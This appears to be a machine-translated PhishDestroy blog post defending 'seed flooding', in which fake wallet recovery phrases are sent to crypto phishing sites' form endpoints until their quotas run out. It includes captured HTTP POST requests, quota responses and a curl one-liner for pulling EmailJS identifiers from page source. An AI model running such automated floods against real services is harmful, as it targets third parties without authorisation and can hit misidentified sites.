PhishDestroy 直播
返回新闻
研究方法

种子泛滥:为何PhishDestroy公然
“攻击”钓鱼网站

我们对此毫不隐瞒。当PhishDestroy检测到一个正在收集加密货币钱包助记词的活跃钓鱼网站时,我们会向该网站大量提交格式正确的助记词条目。以下正是我们采取的具体措施、这样做的原因,以及为何我们对此毫不羞愧。

2026年3月31日 PhishDestroy 研究 阅读时间 12 分钟
种子泛滥——反网络钓鱼的数字战场
反网络钓鱼行动:当仅靠举报无法及时应对时,我们会直接采取行动
14,663CF 员工
2/10秒速率限制
5+数据外泄通道
$0攻击者成本
<4小时彻底测试 EmailJS

问题:一个网络钓鱼网站目前正在运行

假设你发现了一个通过谷歌付费广告推广的加密货币钱包钓鱼页面。该页面看起来非常真实,且流量不小。每隔几分钟就会有真实用户访问该页面,输入他们的助记词,最终血本无归。

向谷歌举报。向域名注册商举报。向主机服务商提交滥用报告。 然后你就等着吧。

与此同时,诈骗犯又骗了第47个受害者。接着是第48个。然后是第49个。

官僚鸿沟

标准的滥用行为举报流程通常需要5至10个工作日才能完成。而活跃的网络钓鱼网站却能在数小时内造成无法挽回的经济损失。这种时间差并非系统缺陷——而是诈骗分子蓄意利用的结构性漏洞。

官僚式的报告流程与主动钓鱼攻击以获取受害者
左图:缓慢的滥用行为举报流程。右图:就在你等待期间,诈骗者正在牟利。

什么是种子浸种?

种子泛洪是一种反网络钓鱼技术,其原理是 格式有效但内容为空/无意义 加密货币钱包的助记词会以受控的速度自动提交到一个钓鱼表单中。

污染数据库
真实的助记词与伪造的助记词已难以区分。每条记录都需要人工核验,导致信噪比急剧下降。
Exhaust 免费套餐限额
EmailJS、Formspree、Web3Forms——这些服务都设有严格的月度配额。我们仅用数小时就触及了这些配额上限,从而切断了攻击者的通知渠道。
中断收集管道
当数据外泄通道停止运作时,真实受害者的数据将无处可去——即使他们提交了助记词。
生成研究情报
洪水事件揭示了基础设施的详细信息、错误信息以及速率限制阈值,这些信息有助于我们构建更完善的检测机制。
钓鱼表单被大量虚假助记词淹没
一个钓鱼表单收到大量虚假助记词提交——攻击者的数据收集效果实时下降

为何有效:一款廉价网络钓鱼工具包的构成解析

绝大多数活跃的加密货币钓鱼网站都是基于 免费级别的第三方服务. 这是他们最大的弱点。如需更详细的分析,请参阅 我们的全面调查.

钓鱼工具包剖析——免费级服务的依赖关系
每个数据外泄通道都是免费级服务,且设有严格的提交限制——该工具包价格低廉正是其致命缺陷
数据表:模块
模块免费套餐限额洪涝的影响
EmailJS~每月约200份投稿几小时内耗尽配额,暂停电子邮件投递
Formspree每月50份投稿几乎立即失效
Web3Forms每月250份提交迅速被中和
Telegram 机器人 API每秒速率受限陷入超时循环
Firebase 免费套餐读/写配额数据库成本飙升或被拒之门外
观测结果

我们曾直接观察到,当种子泛洪耗尽其通知管道后,网络钓鱼基础设施便停止运行。诈骗者并不知道为何系统停止工作,他们只是不再收到数据。

我们的技术方案:Cloudflare Workers,而非僵尸网络

Cloudflare 边缘网络用于防范网络钓鱼
14,663 个 Cloudflare Workers 在边缘网络层运行——完全不涉及任何第三方基础设施

我们使用 Cloudflare Workers. 请求源自 Cloudflare 自身的边缘网络。未滥用任何家庭 IP 地址。没有僵尸网络。未给第三方服务器造成负担。仅诈骗者的数据收集系统受到影响。

洪流

检测到站点已确认存在活跃流量
解剖学分析已映射的数据外泄通道
工作进程部署CF 边缘网络
2 粒种子 / 10s受控速率
配额已用完攻击者失明
报告已提交平行轨道

速率限制: 严格的 2 submissions per 10 seconds. 这并非DDoS攻击。而是一种缓慢、蓄意且有针对性的污染行为,其规模之大,使得即使针对每个目标的感染率较低,在同时针对数十个目标的情况下,这些感染率也具有显著意义。

我们没有做的事情

我们并不是要让服务器瘫痪。我们只是要让诈骗分子的工作日变得痛苦不堪,并使他们的数据库变得一文不值——同时完全不会对合法的基础设施造成任何连带影响。

实时案例研究:实践中的受控污染

以下操作记录完全摘自我们的生产日志。仅在公开信息可能助长规避行为的情况下,才对域名和提供商标识符进行了遮蔽;HTTP 数据包捕获内容未作任何修改。两个目标在干预时均处于活跃状态,已确认存在来自付费广告的入站流量,并且均被独立归类为 网络钓鱼 作者: VirusTotal上有≥2家外部供应商 在我们采取任何行动之前。

作战学说

每次种子淹没行动都遵循相同的五项原则框架。没有例外;任何无法满足这五项原则的行动都不会实施。

原则 01
仅限公共端点
数据外泄 URL 及其标识符如下: 已发布 通过客户端 JavaScript 中的钓鱼页面实现。我们绝不会获取凭据、进行暴力破解或提升权限。
原则 02
子限额吞吐量
请求率被硬性限制在服务商自身公布的《服务条款》规定的限值之下。我们的流量特征与普通用户生成内容(UGC)流量毫无二致。
原则 03
证据标准
Target 要求在 VirusTotal 上至少有 2 次来自独立供应商的检测结果 此外 手动确认凭证收集流程。
原则 04
并行合法渠道
已向主机服务商、域名注册商及表单提供商提交了正式的滥用报告 之前 一旦发生任何信息泛滥——请提供案件编号和完整证据。
原则 05
完整的审计轨迹
所有流量均源自 Cloudflare Workers,并隶属于一个已签名的 PhishDestroy 源。每次提交都会被记录在日志中,包含时间戳、目标和操作员 ID。

案例 1 — Formspark Exfil 端点,月配额已用尽

checkblochn.pages.dev 被中和

威胁模式: 钱包恢复诱饵(“Dapp Node Sync”)将12个单词的BIP-39助记词窃取至攻击者控制的Formspark免费层端点。已确认在用户开始互动时,流量来自两个广告平台的付费广告。

攻击面
checkblochn.pages.dev(Cloudflare Pages)
数据外泄通道
submit-form.com — Formspark 表单端点
表单 ID
/32BrdUqfX
有效载荷字段
通过...生成的12个单词的BIP-39种子 message
服务商免费套餐上限
50份投稿 • 1个月滚动受理
诈骗者重置费用
新建 Formspark 账户 + 客户端 JS 编辑 + 重新部署

行动时间线(UTC,已匿名化至行动T-0时刻)

T + 00:00
Ingest — 该域名由 PhishDestroy 爬虫从付费广告样本中发现。 自动化的
T + 00:12
解剖结构已确认——锁定目标 submit-form.com/32BrdUqfX 从页面 JS 中提取;对有效载荷结构进行了逆向工程分析。 分析
T + 00:28
VirusTotal: 3 / 95 供应商将其标记为网络钓鱼。已达到阈值。
T + 00:47
已提交滥用报告——Cloudflare Pages 信任与安全团队、Formspark 滥用、Porkbun(域名注册商)。已生成案件编号。 合法途径
T + 01:02
洪水救援人员部署情况 — 速报 2 req / 10 s,单个 Cloudflare Worker,已识别用户代理字符串,已签名源站。
T + 01:02
首次洪水报告已提交 200 OKformspark-quota: 64. 基线已捕获。
T + 06:08
formspark-quota 超过零 → 端点会静默停止转发。 排水百叶窗
T + 06:12
最终捕获的响应: formspark-quota: −18. 洪水救援人员被解雇。
T + 19:30
Cloudflare Pages 因收到滥用报告而停用了该部署。 被撤下

提交内容已发送(该种子是一个具有表现力的诱饵——12个与任何真实钱包均无关的随机BIP-39单词)

POST /32BrdUqfX HTTP/1.1 Host: submit-form.com Origin: https://checkblochn.pages.dev Content-Type: application/x-www-form-urlencoded message=Phrase%3A+lecture+sail+coral+swear+fiber+bonus+vanish+layer+observe+rely+orphan+height&source=Unknown+Source&from_name=Dapp+Node+Sync

响应 — T+01:02(基准值,剩余配额)

HTTP/1.1 200 OK formspark-quota: 64 formspark-status: ok content-type: application/json; charset=utf-8 { "message": "短语:讲座 帆 珊瑚 发誓 纤维 奖励 消失 层 观察 依赖 孤儿 高度" }

响应 — T+06:12(配额已用尽,端点仍返回200状态码,但不会转发请求)

HTTP/1.1 200 OK formspark-quota: -18 formspark-status: 正常
洪水前的配额
64
洪灾后的配额
−18
82
虚假投稿
~5小时06分钟
洪水持续时间
0.27 次请求/秒
平均利率
~11.5 KB
出站有效载荷总计
100%
在服务提供商《服务条款》规定的范围内
0
受影响的合法请求

可观察到的影响。 从 T+06:08 起直至 T+19:30 最终下线——a 13小时22分钟的时间窗口 ——每一位联系上我们的真实受害者 checkblochn.pages.dev 并完成了恢复流程,将助记词提交至一个端点,该端点返回了 200 OK 但不再将有效载荷转发到操作员的收件箱中。该钓鱼页面 出现 能在受害者的浏览器中成功运行(无错误提示,无警示标志),这正是我们所期望的:用户若下意识地产生“没成功”的反应,往往会在随后访问的下一个假冒网站上再次输入相同的凭据。在此,交互过程 以“操作员盲”结束.

这项干预措施实际上带来了什么

对于每个后续访问该网站的访客,系统都会提供一个长达13小时的保护期,而该网站当时仍在积极投放付费广告。当Cloudflare Pages对我们的并行滥用报告作出响应时,该保护期便结束了——这完全符合设计预期。这股流量洪峰并未取代合法的下架操作,而是填补了这一时间间隔 直到 合法的击倒成功了。

案例 2 — EmailJS Relay,由运营商发布的标识符

allsyncapp.pages.dev 主动操作

威胁模式: 一种利用钱包“同步”作为诱饵的骗局,通过 EmailJS — 一款合法的交易邮件SaaS服务。该钓鱼页面捆绑了运营商的 service_id, template_id 以及 user_id 在客户端 JavaScript 中,因为如果没有这些标识符,受害者的浏览器就无法完成触发邮件发送的 POST 请求。 因此,这些标识符属于该运营商自愿暴露的公共攻击面的一部分。

攻击面
allsyncapp.pages.dev(Cloudflare Pages)
数据外泄通道
api.emailjs.com — 事务性邮件中继
端点
POST /api/v1.0/email/send-form
运营商发布的ID
service_id · template_id · user_id(从页面 JS 中提取)
服务商免费套餐上限
200 封电子邮件 • 滚动月度统计
硬限额(服务条款)
1 次请求/秒 · 50 次/IP/小时

捕获的提交数据——直接复制自钓鱼页面自身POST请求中的有效载荷内容

POST /api/v1.0/email/send-form HTTP/1.1 Host: api.emailjs.com Origin: https://allsyncapp.pages.dev Content-Type: multipart/form-data; boundary=----geckoformboundary6a77738bf873975dfc9c8e4a31fa330e _redirect=TECHNICAL.html message=南瓜 箔 村庄 硬币 城镇 裙子 平均 小时 程序 舞台 贫困 认可 lib_version=3.12.1 service_id=service_t0cgr9v template_id=template_k16demo user_id=furwEG-MZShqSPIGS

标识符提取(在钓鱼页面源代码中使用单行正则表达式)

$ curl -s https://allsyncapp.pages.dev/ | grep -oE '(service_id|template_id|user_id)["'"'"':]+["'"'"']*[A-Za-z0-9_-]+'service_id:"service_t0cgr9v" template_id:"template_k16demo" user_id:"furwEG-MZShqSPIGS"

关键教义要点。 这个案例之所以具有启发性,恰恰是因为 我们未发现任何端点. 该运算符 发布 这是让 EmailJS 将种子发送至其邮箱所需的三个标识符。任何渲染该钓鱼页面的浏览器都拥有这些标识符。我们的 Worker 执行与受害者浏览器相同的操作——提交一个表单,其格式和标识符完全符合页面本身的指示。区别在于有效载荷:使用随机的 BIP-39 单词,而非真实的钱包凭据。

200
每月上限(诱饵)
1 / s(简体中文(大陆))
ToS速率——我们运行 0.1/s
约120 KB
每月最大有效载荷
0
EmailJS 基础设施负担(在一定范围内)
402 / 429
服务提供商在达到上限时的响应
账户已注销
虐待报告的典型处理结果

结果模式。 一旦达到月度上限,EmailJS 将返回 402 Payment Required429 Too Many Requests 而该模板无法发送。诈骗者的邮箱便不再有任何动静。与此同时,EmailJS 信任与安全团队会收到一份正式投诉,其中包含服务/模板/用户标识符以及我们已发布的证据包链接——根据以往先例,这将导致该运营商的 EmailJS 账户被 终止,不受速率限制。运营商必须注册一个新的 EmailJS 账户,重新生成标识符,编辑已部署的钓鱼页面,并使所有现有分发链接失效——每次轮换都需要耗费数小时。

攻击特征对比:什么是“种子泛洪”不是

人们经常指责我们对钓鱼网站发动“攻击”。但只要将实际的流量特征与那些被混为一谈的活动特征并列比较,这种说法便不攻自破。

种子泛洪与拒绝服务攻击、垃圾邮件及执法部门卧底行动的比较。
维度种子浸种(我们的)DDoS / L7 洪水攻击滥用垃圾信息提交功能LE卧底行动
目的受害者保护——在下一个受害者出现前,先让诈骗犯完成其“数据外泄”配额基础设施拒绝服务商业利益 / 信息传播证据收集、有控制的欺骗
吞吐量0.1 – 0.3 次请求/秒 — 下面 服务提供商服务条款103 – 108 req/s — 以饱和度为导向突发 / 自动大批量处理单次交互通常
目标一名通过单一终端窃取数据的攻击者已发布受害组织的Web服务器/网络层正规网站的联系表单可疑的基础设施或身份
对基础设施的影响无 — 服务提供商的计数器运行情况符合《服务条款》规定的预算范围服务中断,上游拥塞收件箱信息过载、验证码失效、审核工作量取决于操作
受影响的合法用户零——网络钓鱼表单没有合法用户所有这些表单所有者的员工/版主设计中的规避机制
原始身份名为“PhishDestroy Cloudflare Workers”的漏洞——可审计僵尸网络、伪造来源、反射攻击一次性代理机密基础设施
授权模型端点是 受邀: 表单明确要求提供此输入,标识符在页面中公开显示无——请求量本身就是危害绕过预期用途,无视反滥用信号法定授权
并行合法行动已提交的滥用报告 之前 flood 开始,附带案例 ID不适用不适用融入运营之中
这种区别并非修辞上的,而是可以量化的。

“种子洪水”攻击是指一次约140字节的HTTPS POST请求,该请求源自一个携带我们签名源站的Cloudflare Worker,其发送速率仅为服务商自身公布的可接受速率的一小部分,且目标端点的标识符是由运营商选择嵌入到公共网页中的。这就是 整个可观察的遗物. 使请求构成“攻击”的每一个结构性要素——未经授权的访问、耗尽资源的意图、流量饱和、受影响的第三方、隐藏来源——均不存在。下文的法律分析并非主观臆断,而是 自然的 在事实情况已明确陈述后,对法规的解读。

一个正在用石头填满的钓鱼陷阱坑
骗子设下了一个陷阱。我们正往里面塞石头。

在大多数框架中,向面向公众的网页表单提交数据——即使是虚假数据——本身并不违法。我们既没有访问私有系统,也没有利用未经授权的漏洞,更没有拦截通信。 骗子设下了一个陷阱。我们正往里面塞石头。

法律免责声明

PhishDestroy 并不提供法律建议。这确实处于一个法律灰色地带,且因司法管辖区而异。我们在充分意识到这一复杂性的前提下开展运营。

一名运营钓鱼网站的诈骗者 没有合法利益 仅接收真实的种子短语。他们无权要求其犯罪数据收集基础设施保持完整性。
我们的系统是 具有针对性、受速率限制,且与手动识别流程相关联。 我们先识别、分析、确认,然后采取行动。
我们已记录了种子浸水的情况 直接防止了受害者遭受资金损失 ——因为等到真实用户提交助记词时,诈骗者的收款系统早已被停用。

诈骗分子的数据库会怎样?

它变得毫无用处 — 成千上万条记录需要人工核验,信噪比急剧下降。或者 它坏了 — Firebase Spark 和共享的 MongoDB 实例都有硬性限制。一旦触及这些限制,将会产生相应后果。

这两种结果都不错

数据库是否会变成 没用完全中断 — 真实受害者的助记词绝不会以可利用的形式落入攻击者手中。每一个未经处理的助记词,就意味着一个不会被清空的钱包。

我们何时启动种子淹水?

数据表:标准
标准检查为何这很重要
已确认存在活跃流量必填广告平台或流量工具可确认访问该网站的确实是真实用户
网络钓鱼的构成分析必填在流量洪峰来临前识别出免费套餐的數據外洩模块
已提交的滥用报告必填我们始终同时坚持走合法途径
在SLA范围内未发生下线情况典型的触发条件域名注册商/主机服务商未在合理时间内作出回应
高流量/付费广告网站即时触发付费广告意味着我们无需等待官僚程序即可采取行动

更广阔的视野

加密生态系统遭受损失 每年数十亿美元 针对网络钓鱼。历史上,防御方一直处于被动应对的状态。PhishDestroy 的出现旨在引入 主动干扰 进入这个循环。

透明度是我们一切工作的核心

我们并非在暗箱操作。我们会公开我们的方法论,详细说明我们的技术,并对分析过的网络钓鱼工具包进行记录。安全社区理应能够评估反网络钓鱼方法,而不仅仅是被动接受一种“黑盒”服务。

PhishDestroy — 发现并清除网络钓鱼基础设施
诈骗分子组织严密,其作案手段也高度标准化。这意味着反制措施同样可以实现标准化。

您可以采取的措施

如果你认为把空空如也的钱包交给罪犯是不道德的——那是你的立场,你大可坚持这一观点。 我们的立场已经说得很清楚了。